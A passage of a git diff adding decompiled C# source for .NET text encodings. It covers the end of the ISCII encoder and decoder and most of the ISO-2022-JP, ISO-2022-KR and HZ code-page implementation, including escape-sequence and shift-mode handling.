(!encodingByteBuffer.AddByte(233)) + { + break; + } + flag = false; + } + else + { + encodingByteBuffer.Fallback(nextChar); + flag = false; + } + continue; + } + int num2 = s_UnicodeToIndicChar[nextChar - 2305]; + byte b = (byte)num2; + int num3 = 0xF & (num2 >> 8); + int num4 = 0xF000 & num2; + if (num2 == 0) + { + encodingByteBuffer.Fallback(nextChar); + flag = false; + continue; + } + if (num3 != num) + { + if (!encodingByteBuffer.AddByte(239, (byte)(num3 | 0x40))) + { + break; + } + num = num3; + } + if (!encodingByteBuffer.AddByte(b, (num4 != 0) ? 1 : 0)) + { + break; + } + flag = b == 232; + if (num4 != 0 && !encodingByteBuffer.AddByte(SecondIndicByte[num4 >> 12])) + { + break; + } + } + if (num != _defaultCodePage && (iSCIIEncoder == null || iSCIIEncoder.MustFlush)) + { + if (encodingByteBuffer.AddByte(239, (byte)(_defaultCodePage | 0x40))) + { + num = _defaultCodePage; + } + else + { + encodingByteBuffer.GetNextChar(); + } + flag = false; + } + if (iSCIIEncoder != null && bytes != null) + { + if (!encodingByteBuffer.fallbackBufferHelper.bUsedEncoder) + { + iSCIIEncoder.charLeftOver = '\0'; + } + iSCIIEncoder.currentCodePage = num; + iSCIIEncoder.bLastVirama = flag; + iSCIIEncoder.m_charsUsed = encodingByteBuffer.CharsUsed; + } + return encodingByteBuffer.Count; + } + + public unsafe override int GetCharCount(byte* bytes, int count, System.Text.DecoderNLS baseDecoder) + { + return GetChars(bytes, count, null, 0, baseDecoder); + } + + public unsafe override int GetChars(byte* bytes, int byteCount, char* chars, int charCount, System.Text.DecoderNLS baseDecoder) + { + ISCIIDecoder iSCIIDecoder = (ISCIIDecoder)baseDecoder; + EncodingCharBuffer encodingCharBuffer = new EncodingCharBuffer(this, iSCIIDecoder, chars, charCount, bytes, byteCount); + int num = _defaultCodePage; + bool flag = false; + bool flag2 = false; + bool flag3 = false; + char c = '\0'; + char c2 = '\0'; + if (iSCIIDecoder != null) + { + num = iSCIIDecoder.currentCodePage; + flag = iSCIIDecoder.bLastATR; + flag2 = iSCIIDecoder.bLastVirama; + flag3 = iSCIIDecoder.bLastDevenagariStressAbbr; + c = iSCIIDecoder.cLastCharForNextNukta; + c2 = iSCIIDecoder.cLastCharForNoNextNukta; + } + bool flag4 = flag2 || flag || flag3 || c != '\0'; + int num2 = -1; + if (num >= 2 && num <= 11) + { + num2 = s_IndicMappingIndex[num]; + } + while (encodingCharBuffer.MoreData) + { + byte nextByte = encodingCharBuffer.GetNextByte(); + if (flag4) + { + flag4 = false; + if (flag) + { + if (nextByte >= 66 && nextByte <= 75) + { + num = nextByte & 0xF; + num2 = s_IndicMappingIndex[num]; + flag = false; + continue; + } + if (nextByte == 64) + { + num = _defaultCodePage; + num2 = -1; + if (num >= 2 && num <= 11) + { + num2 = s_IndicMappingIndex[num]; + } + flag = false; + continue; + } + if (nextByte == 65) + { + num = _defaultCodePage; + num2 = -1; + if (num >= 2 && num <= 11) + { + num2 = s_IndicMappingIndex[num]; + } + flag = false; + continue; + } + if (!encodingCharBuffer.Fallback(239)) + { + break; + } + flag = false; + } + else if (flag2) + { + if (nextByte == 232) + { + if (!encodingCharBuffer.AddChar('\u200c')) + { + break; + } + flag2 = false; + continue; + } + if (nextByte == 233) + { + if (!encodingCharBuffer.AddChar('\u200d')) + { + break; + } + flag2 = false; + continue; + } + flag2 = false; + } + else if (flag3) + { + if (nextByte == 184) + { + if (!encodingCharBuffer.AddChar('\u0952')) + { + break; + } + flag3 = false; + continue; + } + if (nextByte == 191) + { + if (!encodingCharBuffer.AddChar('॰')) + { + break; + } + flag3 = false; + continue; + } + if (!encodingCharBuffer.Fallback(240)) + { + break; + } + flag3 = false; + } + else + { + if (nextByte == 233) + { + if (!encodingCharBuffer.AddChar(c)) + { + break; + } + c = (c2 = '\0'); + continue; + } + if (!encodingCharBuffer.AddChar(c2)) + { + break; + } + c = (c2 = '\0'); + } + } + if (nextByte < 160) + { + if (!encodingCharBuffer.AddChar((char)nextByte)) + { + break; + } + continue; + } + if (nextByte == 239) + { + flag = (flag4 = true); + continue; + } + char c3 = s_IndicMapping[num2, 0, nextByte - 160]; + char c4 = s_IndicMapping[num2, 1, nextByte - 160]; + if (c4 == '\0' || nextByte == 233) + { + if (c3 == '\0') + { + if (!encodingCharBuffer.Fallback(nextByte)) + { + break; + } + } + else if (!encodingCharBuffer.AddChar(c3)) + { + break; + } + } + else if (nextByte == 232) + { + if (!encodingCharBuffer.AddChar(c3)) + { + break; + } + flag2 = (flag4 = true); + } + else if ((c4 & 0xF000) == 0) + { + flag4 = true; + c = c4; + c2 = c3; + } + else + { + flag3 = (flag4 = true); + } + } + if (iSCIIDecoder == null || iSCIIDecoder.MustFlush) + { + if (flag) + { + if (encodingCharBuffer.Fallback(239)) + { + flag = false; + } + else + { + encodingCharBuffer.GetNextByte(); + } + } + else if (flag3) + { + if (encodingCharBuffer.Fallback(240)) + { + flag3 = false; + } + else + { + encodingCharBuffer.GetNextByte(); + } + } + else if (c2 != 0) + { + if (encodingCharBuffer.AddChar(c2)) + { + c2 = (c = '\0'); + } + else + { + encodingCharBuffer.GetNextByte(); + } + } + } + if (iSCIIDecoder != null && chars != null) + { + if (!iSCIIDecoder.MustFlush || c2 != '\0' || flag || flag3) + { + iSCIIDecoder.currentCodePage = num; + iSCIIDecoder.bLastVirama = flag2; + iSCIIDecoder.bLastATR = flag; + iSCIIDecoder.bLastDevenagariStressAbbr = flag3; + iSCIIDecoder.cLastCharForNextNukta = c; + iSCIIDecoder.cLastCharForNoNextNukta = c2; + } + else + { + iSCIIDecoder.currentCodePage = _defaultCodePage; + iSCIIDecoder.bLastVirama = false; + iSCIIDecoder.bLastATR = false; + iSCIIDecoder.bLastDevenagariStressAbbr = false; + iSCIIDecoder.cLastCharForNextNukta = '\0'; + iSCIIDecoder.cLastCharForNoNextNukta = '\0'; + } + iSCIIDecoder.m_bytesUsed = encodingCharBuffer.BytesUsed; + } + return encodingCharBuffer.Count; + } + + public override Decoder GetDecoder() + { + return new ISCIIDecoder(this); + } + + public override Encoder GetEncoder() + { + return new ISCIIEncoder(this); + } + + public override int GetHashCode() + { + return _defaultCodePage + base.EncoderFallback.GetHashCode() + base.DecoderFallback.GetHashCode(); + } +} diff --git a/decompiled/Libraries/system.text.encoding.codepages/System.Text/ISO2022Encoding.cs b/decompiled/Libraries/system.text.encoding.codepages/System.Text/ISO2022Encoding.cs new file mode 100644 index 0000000..82c4141 --- /dev/null +++ b/decompiled/Libraries/system.text.encoding.codepages/System.Text/ISO2022Encoding.cs @@ -0,0 +1,1242 @@ +namespace System.Text; + +internal sealed class ISO2022Encoding : DBCSCodePageEncoding +{ + internal enum ISO2022Modes + { + ModeHalfwidthKatakana = 0, + ModeJIS0208 = 1, + ModeKR = 5, + ModeHZ = 6, + ModeGB2312 = 7, + ModeCNS11643_1 = 9, + ModeCNS11643_2 = 10, + ModeASCII = 11, + ModeIncompleteEscape = -1, + ModeInvalidEscape = -2, + ModeNOOP = -3 + } + + internal sealed class ISO2022Encoder : System.Text.EncoderNLS + { + internal ISO2022Modes currentMode; + + internal ISO2022Modes shiftInOutMode; + + internal override bool HasState + { + get + { + if (charLeftOver == '\0') + { + return currentMode != ISO2022Modes.ModeASCII; + } + return true; + } + } + + internal ISO2022Encoder(EncodingNLS encoding) + : base(encoding) + { + } + + public override void Reset() + { + currentMode = ISO2022Modes.ModeASCII; + shiftInOutMode = ISO2022Modes.ModeASCII; + charLeftOver = '\0'; + m_fallbackBuffer?.Reset(); + } + } + + internal sealed class ISO2022Decoder : System.Text.DecoderNLS + { + internal byte[] bytesLeftOver; + + internal int bytesLeftOverCount; + + internal ISO2022Modes currentMode; + + internal ISO2022Modes shiftInOutMode; + + internal override bool HasState + { + get + { + if (bytesLeftOverCount == 0) + { + return currentMode != ISO2022Modes.ModeASCII; + } + return true; + } + } + + internal ISO2022Decoder(EncodingNLS encoding) + : base(encoding) + { + } + + public override void Reset() + { + bytesLeftOverCount = 0; + bytesLeftOver = new byte[4]; + currentMode = ISO2022Modes.ModeASCII; + shiftInOutMode = ISO2022Modes.ModeASCII; + m_fallbackBuffer?.Reset(); + } + } + + private const byte SHIFT_OUT = 14; + + private const byte SHIFT_IN = 15; + + private const byte ESCAPE = 27; + + private const byte LEADBYTE_HALFWIDTH = 16; + + private static readonly int[] s_tableBaseCodePages = new int[12] + { + 932, 932, 932, 0, 0, 949, 936, 0, 0, 0, + 0, 0 + }; + + private static readonly ushort[] s_HalfToFullWidthKanaTable = new ushort[63] + { + 41379, 41430, 41431, 41378, 41382, 42482, 42401, 42403, 42405, 42407, + 42409, 42467, 42469, 42471, 42435, 41404, 42402, 42404, 42406, 42408, + 42410, 42411, 42413, 42415, 42417, 42419, 42421, 42423, 42425, 42427, + 42429, 42431, 42433, 42436, 42438, 42440, 42442, 42443, 42444, 42445, + 42446, 42447, 42450, 42453, 42456, 42459, 42462, 42463, 42464, 42465, + 42466, 42468, 42470, 42472, 42473, 42474, 42475, 42476, 42477, 42479, + 42483, 41387, 41388 + }; + + internal ISO2022Encoding(int codePage) + : base(codePage, s_tableBaseCodePages[codePage % 10]) + { + } + + protected override bool CleanUpBytes(ref int bytes) + { + switch (CodePage) + { + case 50220: + case 50221: + case 50222: + if (bytes >= 256) + { + if (bytes >= 64064 && bytes <= 64587) + { + if (bytes >= 64064 && bytes <= 64091) + { + if (bytes <= 64073) + { + bytes -= 2897; + } + else if (bytes >= 64074 && bytes <= 64083) + { + bytes -= 29430; + } + else if (bytes >= 64084 && bytes <= 64087) + { + bytes -= 2907; + } + else if (bytes == 64088) + { + bytes = 34698; + } + else if (bytes == 64089) + { + bytes = 34690; + } + else if (bytes == 64090) + { + bytes = 34692; + } + else if (bytes == 64091) + { + bytes = 34714; + } + } + else if (bytes >= 64092 && bytes <= 64587) + { + byte b = (byte)bytes; + if (b < 92) + { + bytes -= 3423; + } + else if (b >= 128 && b <= 155) + { + bytes -= 3357; + } + else + { + bytes -= 3356; + } + } + } + byte b2 = (byte)(bytes >> 8); + byte b3 = (byte)bytes; + b2 = (byte)(b2 - ((b2 > 159) ? 177 : 113)); + b2 = (byte)((b2 << 1) + 1); + if (b3 > 158) + { + b3 -= 126; + b2++; + } + else + { + if (b3 > 126) + { + b3--; + } + b3 -= 31; + } + bytes = (b2 << 8) | b3; + } + else + { + if (bytes >= 161 && bytes <= 223) + { + bytes += 3968; + } + if (bytes >= 129 && (bytes <= 159 || (bytes >= 224 && bytes <= 252))) + { + return false; + } + } + break; + case 50225: + if (bytes >= 128 && bytes <= 255) + { + return false; + } + if (bytes >= 256 && ((bytes & 0xFF) < 161 || (bytes & 0xFF) == 255 || (bytes & 0xFF00) < 41216 || (bytes & 0xFF00) == 65280)) + { + return false; + } + bytes &= 32639; + break; + case 52936: + if (bytes >= 129 && bytes <= 254) + { + return false; + } + break; + } + return true; + } + + public unsafe override int GetByteCount(char* chars, int count, System.Text.EncoderNLS baseEncoder) + { + return GetBytes(chars, count, null, 0, baseEncoder); + } + + public unsafe override int GetBytes(char* chars, int charCount, byte* bytes, int byteCount, System.Text.EncoderNLS baseEncoder) + { + ISO2022Encoder encoder = (ISO2022Encoder)baseEncoder; + int result = 0; + switch (CodePage) + { + case 50220: + case 50221: + case 50222: + result = GetBytesCP5022xJP(chars, charCount, bytes, byteCount, encoder); + break; + case 50225: + result = GetBytesCP50225KR(chars, charCount, bytes, byteCount, encoder); + break; + case 52936: + result = GetBytesCP52936(chars, charCount, bytes, byteCount, encoder); + break; + } + return result; + } + + public unsafe override int GetCharCount(byte* bytes, int count, System.Text.DecoderNLS baseDecoder) + { + return GetChars(bytes, count, null, 0, baseDecoder); + } + + public unsafe override int GetChars(byte* bytes, int byteCount, char* chars, int charCount, System.Text.DecoderNLS baseDecoder) + { + ISO2022Decoder decoder = (ISO2022Decoder)baseDecoder; + int result = 0; + switch (CodePage) + { + case 50220: + case 50221: + case 50222: + result = GetCharsCP5022xJP(bytes, byteCount, chars, charCount, decoder); + break; + case 50225: + result = GetCharsCP50225KR(bytes, byteCount, chars, charCount, decoder); + break; + case 52936: + result = GetCharsCP52936(bytes, byteCount, chars, charCount, decoder); + break; + } + return result; + } + + private unsafe int GetBytesCP5022xJP(char* chars, int charCount, byte* bytes, int byteCount, ISO2022Encoder encoder) + { + EncodingByteBuffer encodingByteBuffer = new EncodingByteBuffer(this, encoder, bytes, byteCount, chars, charCount); + ISO2022Modes iSO2022Modes = ISO2022Modes.ModeASCII; + ISO2022Modes iSO2022Modes2 = ISO2022Modes.ModeASCII; + if (encoder != null) + { + char charLeftOver = encoder.charLeftOver; + iSO2022Modes = encoder.currentMode; + iSO2022Modes2 = encoder.shiftInOutMode; + if (charLeftOver > '\0') + { + encodingByteBuffer.Fallback(charLeftOver); + } + } + while (encodingByteBuffer.MoreData) + { + char nextChar = encodingByteBuffer.GetNextChar(); + ushort num = mapUnicodeToBytes[(int)nextChar]; + byte b; + byte b2; + while (true) + { + b = (byte)(num >> 8); + b2 = (byte)(num & 0xFF); + if (b != 16) + { + break; + } + if (CodePage == 50220) + { + if (b2 >= 33 && b2 < 33 + s_HalfToFullWidthKanaTable.Length) + { + num = (ushort)(s_HalfToFullWidthKanaTable[b2 - 33] & 0x7F7F); + continue; + } + goto IL_009a; + } + goto IL_00be; + } + if (b != 0) + { + if (CodePage == 50222 && iSO2022Modes == ISO2022Modes.ModeHalfwidthKatakana) + { + if (!encodingByteBuffer.AddByte(15)) + { + break; + } + iSO2022Modes = iSO2022Modes2; + } + if (iSO2022Modes != ISO2022Modes.ModeJIS0208) + { + if (!encodingByteBuffer.AddByte((byte)27, (byte)36, (byte)66)) + { + break; + } + iSO2022Modes = ISO2022Modes.ModeJIS0208; + } + if (!encodingByteBuffer.AddByte(b, b2)) + { + break; + } + } + else if (num != 0 || nextChar == '\0') + { + if (CodePage == 50222 && iSO2022Modes == ISO2022Modes.ModeHalfwidthKatakana) + { + if (!encodingByteBuffer.AddByte(15)) + { + break; + } + iSO2022Modes = iSO2022Modes2; + } + if (iSO2022Modes != ISO2022Modes.ModeASCII) + { + if (!encodingByteBuffer.AddByte((byte)27, (byte)40, (byte)66)) + { + break; + } + iSO2022Modes = ISO2022Modes.ModeASCII; + } + if (!encodingByteBuffer.AddByte(b2)) + { + break; + } + } + else + { + encodingByteBuffer.Fallback(nextChar); + } + continue; + IL_009a: + encodingByteBuffer.Fallback(nextChar); + continue; + IL_00be: + if (iSO2022Modes != ISO2022Modes.ModeHalfwidthKatakana) + { + if (CodePage == 50222) + { + if (!encodingByteBuffer.AddByte(14)) + { + break; + } + iSO2022Modes2 = iSO2022Modes; + iSO2022Modes = ISO2022Modes.ModeHalfwidthKatakana; + } + else + { + if (!encodingByteBuffer.AddByte((byte)27, (byte)40, (byte)73)) + { + break; + } + iSO2022Modes = ISO2022Modes.ModeHalfwidthKatakana; + } + } + if (!encodingByteBuffer.AddByte((byte)(b2 & 0x7F))) + { + break; + } + } + if (iSO2022Modes != ISO2022Modes.ModeASCII && (encoder == null || encoder.MustFlush)) + { + if (CodePage == 50222 && iSO2022Modes == ISO2022Modes.ModeHalfwidthKatakana) + { + if (encodingByteBuffer.AddByte(15)) + { + iSO2022Modes = iSO2022Modes2; + } + else + { + encodingByteBuffer.GetNextChar(); + } + } + if (iSO2022Modes != ISO2022Modes.ModeASCII && (CodePage != 50222 || iSO2022Modes != ISO2022Modes.ModeHalfwidthKatakana)) + { + if (encodingByteBuffer.AddByte((byte)27, (byte)40, (byte)66)) + { + iSO2022Modes = ISO2022Modes.ModeASCII; + } + else + { + encodingByteBuffer.GetNextChar(); + } + } + } + if (bytes != null && encoder != null) + { + encoder.currentMode = iSO2022Modes; + encoder.shiftInOutMode = iSO2022Modes2; + if (!encodingByteBuffer.fallbackBufferHelper.bUsedEncoder) + { + encoder.charLeftOver = '\0'; + } + encoder.m_charsUsed = encodingByteBuffer.CharsUsed; + } + return encodingByteBuffer.Count; + } + + private unsafe int GetBytesCP50225KR(char* chars, int charCount, byte* bytes, int byteCount, ISO2022Encoder encoder) + { + EncodingByteBuffer encodingByteBuffer = new EncodingByteBuffer(this, encoder, bytes, byteCount, chars, charCount); + ISO2022Modes iSO2022Modes = ISO2022Modes.ModeASCII; + ISO2022Modes iSO2022Modes2 = ISO2022Modes.ModeASCII; + if (encoder != null) + { + char charLeftOver = encoder.charLeftOver; + iSO2022Modes = encoder.currentMode; + iSO2022Modes2 = encoder.shiftInOutMode; + if (charLeftOver > '\0') + { + encodingByteBuffer.Fallback(charLeftOver); + } + } + while (encodingByteBuffer.MoreData) + { + char nextChar = encodingByteBuffer.GetNextChar(); + ushort num = mapUnicodeToBytes[(int)nextChar]; + byte b = (byte)(num >> 8); + byte b2 = (byte)(num & 0xFF); + if (b != 0) + { + if (iSO2022Modes2 != ISO2022Modes.ModeKR) + { + if (!encodingByteBuffer.AddByte((byte)27, (byte)36, (byte)41, (byte)67)) + { + break; + } + iSO2022Modes2 = ISO2022Modes.ModeKR; + } + if (iSO2022Modes != ISO2022Modes.ModeKR) + { + if (!encodingByteBuffer.AddByte(14)) + { + break; + } + iSO2022Modes = ISO2022Modes.ModeKR; + } + if (!encodingByteBuffer.AddByte(b, b2)) + { + break; + } + } + else if (num != 0 || nextChar == '\0') + { + if (iSO2022Modes != ISO2022Modes.ModeASCII) + { + if (!encodingByteBuffer.AddByte(15)) + { + break; + } + iSO2022Modes = ISO2022Modes.ModeASCII; + } + if (!encodingByteBuffer.AddByte(b2)) + { + break; + } + } + else + { + encodingByteBuffer.Fallback(nextChar); + } + } + if (iSO2022Modes != ISO2022Modes.ModeASCII && (encoder == null || encoder.MustFlush)) + { + if (encodingByteBuffer.AddByte(15)) + { + iSO2022Modes = ISO2022Modes.ModeASCII; + } + else + { + encodingByteBuffer.GetNextChar(); + } + } + if (bytes != null && encoder != null) + { + if (!encodingByteBuffer.fallbackBufferHelper.bUsedEncoder) + { + encoder.charLeftOver = '\0'; + } + encoder.currentMode = iSO2022Modes; + if (!encoder.MustFlush || encoder.charLeftOver != 0) + { + encoder.shiftInOutMode = iSO2022Modes2; + } + else + { + encoder.shiftInOutMode = ISO2022Modes.ModeASCII; + } + encoder.m_charsUsed = encodingByteBuffer.CharsUsed; + } + return encodingByteBuffer.Count; + } + + private unsafe int GetBytesCP52936(char* chars, int charCount, byte* bytes, int byteCount, ISO2022Encoder encoder) + { + EncodingByteBuffer encodingByteBuffer = new EncodingByteBuffer(this, encoder, bytes, byteCount, chars, charCount); + ISO2022Modes iSO2022Modes = ISO2022Modes.ModeASCII; + if (encoder != null) + { + char charLeftOver = encoder.charLeftOver; + iSO2022Modes = encoder.currentMode; + if (charLeftOver > '\0') + { + encodingByteBuffer.Fallback(charLeftOver); + } + } + while (encodingByteBuffer.MoreData) + { + char nextChar = encodingByteBuffer.GetNextChar(); + ushort num = mapUnicodeToBytes[(int)nextChar]; + if (num == 0 && nextChar != 0) + { + encodingByteBuffer.Fallback(nextChar); + continue; + } + byte b = (byte)(num >> 8); + byte b2 = (byte)(num & 0xFF); + if ((b != 0 && (b < 161 || b > 247 || b2 < 161 || b2 > 254)) || (b == 0 && b2 > 128 && b2 != byte.MaxValue)) + { + encodingByteBuffer.Fallback(nextChar); + continue; + } + if (b != 0) + { + if (iSO2022Modes != ISO2022Modes.ModeHZ) + { + if (!encodingByteBuffer.AddByte(126, 123, 2)) + { + break; + } + iSO2022Modes = ISO2022Modes.ModeHZ; + } + if (encodingByteBuffer.AddByte((byte)(b & 0x7F), (byte)(b2 & 0x7F))) + { + continue; + } + break; + } + if (iSO2022Modes != ISO2022Modes.ModeASCII) + { + if (!encodingByteBuffer.AddByte(126, 125, (b2 != 126) ? 1 : 2)) + { + break; + } + iSO2022Modes = ISO2022Modes.ModeASCII; + } + if ((b2 == 126 && !encodingByteBuffer.AddByte(126, 1)) || !encodingByteBuffer.AddByte(b2)) + { + break; + } + } + if (iSO2022Modes != ISO2022Modes.ModeASCII && (encoder == null || encoder.MustFlush)) + { + if (encodingByteBuffer.AddByte((byte)126, (byte)125)) + { + iSO2022Modes = ISO2022Modes.ModeASCII; + } + else + { + encodingByteBuffer.GetNextChar(); + } + } + if (encoder != null && bytes != null) + { + encoder.currentMode = iSO2022Modes; + if (!encodingByteBuffer.fallbackBufferHelper.bUsedEncoder) + { + encoder.charLeftOver = '\0'; + } + encoder.m_charsUsed = encodingByteBuffer.CharsUsed; + } + return encodingByteBuffer.Count; + } + + private unsafe int GetCharsCP5022xJP(byte* bytes, int byteCount, char* chars, int charCount, ISO2022Decoder decoder) + { + EncodingCharBuffer encodingCharBuffer = new EncodingCharBuffer(this, decoder, chars, charCount, bytes, byteCount); + ISO2022Modes iSO2022Modes = ISO2022Modes.ModeASCII; + ISO2022Modes iSO2022Modes2 = ISO2022Modes.ModeASCII; + byte[] bytes2 = new byte[4]; + int count = 0; + if (decoder != null) + { + iSO2022Modes = decoder.currentMode; + iSO2022Modes2 = decoder.shiftInOutMode; + count = decoder.bytesLeftOverCount; + for (int i = 0; i < count; i++) + { + bytes2[i] = decoder.bytesLeftOver[i]; + } + } + while (encodingCharBuffer.MoreData || count > 0) + { + byte b; + if (count > 0) + { + if (bytes2[0] == 27) + { + if (!encodingCharBuffer.MoreData) + { + if (decoder != null && !decoder.MustFlush) + { + break; + } + } + else + { + bytes2[count++] = encodingCharBuffer.GetNextByte(); + ISO2022Modes iSO2022Modes3 = CheckEscapeSequenceJP(bytes2, count); + switch (iSO2022Modes3) + { + default: + count = 0; + iSO2022Modes = (iSO2022Modes2 = iSO2022Modes3); + continue; + case ISO2022Modes.ModeInvalidEscape: + break; + case ISO2022Modes.ModeIncompleteEscape: + continue; + } + } + } + b = DecrementEscapeBytes(ref bytes2, ref count); + } + else + { + b = encodingCharBuffer.GetNextByte(); + if (b == 27) + { + if (count == 0) + { + bytes2[0] = b; + count = 1; + continue; + } + encodingCharBuffer.AdjustBytes(-1); + } + } + switch (b) + { + case 14: + iSO2022Modes2 = iSO2022Modes; + iSO2022Modes = ISO2022Modes.ModeHalfwidthKatakana; + continue; + case 15: + iSO2022Modes = iSO2022Modes2; + continue; + } + ushort num = b; + bool flag = false; + if (iSO2022Modes == ISO2022Modes.ModeJIS0208) + { + if (count > 0) + { + if (bytes2[0] != 27) + { + num <<= 8; + num |= DecrementEscapeBytes(ref bytes2, ref count); + flag = true; + } + } + else + { + if (!encodingCharBuffer.MoreData) + { + if (decoder == null || decoder.MustFlush) + { + encodingCharBuffer.Fallback(b); + } + else if (chars != null) + { + bytes2[0] = b; + count = 1; + } + break; + } + num <<= 8; + num |= encodingCharBuffer.GetNextByte(); + flag = true; + } + if (flag && (num & 0xFF00) == 10752) + { + num &= 0xFF; + num |= 0x1000; + } + } + else if (num >= 161 && num <= 223) + { + num |= 0x1000; + num &= 0xFF7F; + } + else if (iSO2022Modes == ISO2022Modes.ModeHalfwidthKatakana) + { + num |= 0x1000; + } + char c = mapBytesToUnicode[(int)num]; + if (c == '\0' && num != 0) + { + if (flag) + { + if (!encodingCharBuffer.Fallback((byte)(num >> 8), (byte)num)) + { + break; + } + } + else if (!encodingCharBuffer.Fallback(b)) + { + break; + } + } + else if (!encodingCharBuffer.AddChar(c, (!flag) ? 1 : 2)) + { + break; + } + } + if (chars != null && decoder != null) + { + if (!decoder.MustFlush || count != 0) + { + decoder.currentMode = iSO2022Modes; + decoder.shiftInOutMode = iSO2022Modes2; + decoder.bytesLeftOverCount = count; + decoder.bytesLeftOver = bytes2; + } + else + { + decoder.currentMode = ISO2022Modes.ModeASCII; + decoder.shiftInOutMode = ISO2022Modes.ModeASCII; + decoder.bytesLeftOverCount = 0; + } + decoder.m_bytesUsed = encodingCharBuffer.BytesUsed; + } + return encodingCharBuffer.Count; + } + + private static ISO2022Modes CheckEscapeSequenceJP(byte[] bytes, int escapeCount) + { + if (bytes[0] != 27) + { + return ISO2022Modes.ModeInvalidEscape; + } + if (escapeCount < 3) + { + return ISO2022Modes.ModeIncompleteEscape; + } + if (bytes[1] == 40) + { + if (bytes[2] == 66) + { + return ISO2022Modes.ModeASCII; + } + if (bytes[2] == 72) + { + return ISO2022Modes.ModeASCII; + } + if (bytes[2] == 74) + { + return ISO2022Modes.ModeASCII; + } + if (bytes[2] == 73) + { + return ISO2022Modes.ModeHalfwidthKatakana; + } + } + else if (bytes[1] == 36) + { + if (bytes[2] == 64 || bytes[2] == 66) + { + return ISO2022Modes.ModeJIS0208; + } + if (escapeCount < 4) + { + return ISO2022Modes.ModeIncompleteEscape; + } + if (bytes[2] == 40 && bytes[3] == 68) + { + return ISO2022Modes.ModeJIS0208; + } + } + else if (bytes[1] == 38 && bytes[2] == 64) + { + return ISO2022Modes.ModeNOOP; + } + return ISO2022Modes.ModeInvalidEscape; + } + + private static byte DecrementEscapeBytes(ref byte[] bytes, ref int count) + { + count--; + byte result = bytes[0]; + for (int i = 0; i < count; i++) + { + bytes[i] = bytes[i + 1]; + } + bytes[count] = 0; + return result; + } + + private unsafe int GetCharsCP50225KR(byte* bytes, int byteCount, char* chars, int charCount, ISO2022Decoder decoder) + { + EncodingCharBuffer encodingCharBuffer = new EncodingCharBuffer(this, decoder, chars, charCount, bytes, byteCount); + ISO2022Modes iSO2022Modes = ISO2022Modes.ModeASCII; + byte[] bytes2 = new byte[4]; + int count = 0; + if (decoder != null) + { + iSO2022Modes = decoder.currentMode; + count = decoder.bytesLeftOverCount; + for (int i = 0; i < count; i++) + { + bytes2[i] = decoder.bytesLeftOver[i]; + } + } + while (encodingCharBuffer.MoreData || count > 0) + { + byte b; + if (count > 0) + { + if (bytes2[0] == 27) + { + if (!encodingCharBuffer.MoreData) + { + if (decoder != null && !decoder.MustFlush) + { + break; + } + } + else + { + bytes2[count++] = encodingCharBuffer.GetNextByte(); + switch (CheckEscapeSequenceKR(bytes2, count)) + { + default: + count = 0; + continue; + case ISO2022Modes.ModeInvalidEscape: + break; + case ISO2022Modes.ModeIncompleteEscape: + continue; + } + } + } + b = DecrementEscapeBytes(ref bytes2, ref count); + } + else + { + b = encodingCharBuffer.GetNextByte(); + if (b == 27) + { + if (count == 0) + { + bytes2[0] = b; + count = 1; + continue; + } + encodingCharBuffer.AdjustBytes(-1); + } + } + switch (b) + { + case 14: + iSO2022Modes = ISO2022Modes.ModeKR; + continue; + case 15: + iSO2022Modes = ISO2022Modes.ModeASCII; + continue; + } + ushort num = b; + bool flag = false; + if (iSO2022Modes == ISO2022Modes.ModeKR && b != 32 && b != 9 && b != 10) + { + if (count > 0) + { + if (bytes2[0] != 27) + { + num <<= 8; + num |= DecrementEscapeBytes(ref bytes2, ref count); + flag = true; + } + } + else + { + if (!encodingCharBuffer.MoreData) + { + if (decoder == null || decoder.MustFlush) + { + encodingCharBuffer.Fallback(b); + } + else if (chars != null) + { + bytes2[0] = b; + count = 1; + } + break; + } + num <<= 8; + num |= encodingCharBuffer.GetNextByte(); + flag = true; + } + } + char c = mapBytesToUnicode[(int)num]; + if (c == '\0' && num != 0) + { + if (flag) + { + if (!encodingCharBuffer.Fallback((byte)(num >> 8), (byte)num)) + { + break; + } + } + else if (!encodingCharBuffer.Fallback(b)) + { + break; + } + } + else if (!encodingCharBuffer.AddChar(c, (!flag) ? 1 : 2)) + { + break; + } + } + if (chars != null && decoder != null) + { + if (!decoder.MustFlush || count != 0) + { + decoder.currentMode = iSO2022Modes; + decoder.bytesLeftOverCount = count; + decoder.bytesLeftOver = bytes2; + } + else + { + decoder.currentMode = ISO2022Modes.ModeASCII; + decoder.shiftInOutMode = ISO2022Modes.ModeASCII; + decoder.bytesLeftOverCount = 0; + } + decoder.m_bytesUsed = encodingCharBuffer.BytesUsed; + } + return encodingCharBuffer.Count; + } + + private static ISO2022Modes CheckEscapeSequenceKR(byte[] bytes, int escapeCount) + { + if (bytes[0] != 27) + { + return ISO2022Modes.ModeInvalidEscape; + } + if (escapeCount < 4) + { + return ISO2022Modes.ModeIncompleteEscape; + } + if (bytes[1] == 36 && bytes[2] == 41 && bytes[3] == 67) + { + return ISO2022Modes.ModeKR; + } + return ISO2022Modes.ModeInvalidEscape; + } + + private unsafe int GetCharsCP52936(byte* bytes, int byteCount, char* chars, int charCount, ISO2022Decoder decoder) + { + EncodingCharBuffer encodingCharBuffer = new EncodingCharBuffer(this, decoder, chars, charCount, bytes, byteCount); + ISO2022Modes iSO2022Modes = ISO2022Modes.ModeASCII; + int num = -1; + bool flag = false; + if (decoder != null) + { + iSO2022Modes = decoder.currentMode; + if (decoder.bytesLeftOverCount != 0) + { + num = decoder.bytesLeftOver[0]; + } + } + while (encodingCharBuffer.MoreData || num >= 0) + { + byte b; + if (num >= 0) + { + b = (byte)num; + num = -1; + } + else + { + b = encodingCharBuffer.GetNextByte(); + } + if (b == 126) + { + if (!encodingCharBuffer.MoreData) + { + if (decoder == null || decoder.MustFlush) + { + encodingCharBuffer.Fallback(b); + break; + } + decoder.ClearMustFlush(); + if (chars != null) + { + decoder.bytesLeftOverCount = 1; + decoder.bytesLeftOver[0] = 126; + flag = true; + } + break; + } + b = encodingCharBuffer.GetNextByte(); + if (b == 126 && iSO2022Modes == ISO2022Modes.ModeASCII) + { + if (!encodingCharBuffer.AddChar((char)b, 2)) + { + break; + } + continue; + } + if (b == 123) + { + iSO2022Modes = ISO2022Modes.ModeHZ; + continue; + } + if (b == 125) + { + iSO2022Modes = ISO2022Modes.ModeASCII; + continue; + } + if (b == 10) + { + continue; + } + encodingCharBuffer.AdjustBytes(-1); + b = 126; + } + if (iSO2022Modes != ISO2022Modes.ModeASCII && b >= 32) + { + if (!encodingCharBuffer.MoreData) + { + if (decoder == null || decoder.MustFlush) + { + encodingCharBuffer.Fallback(b); + break; + } + 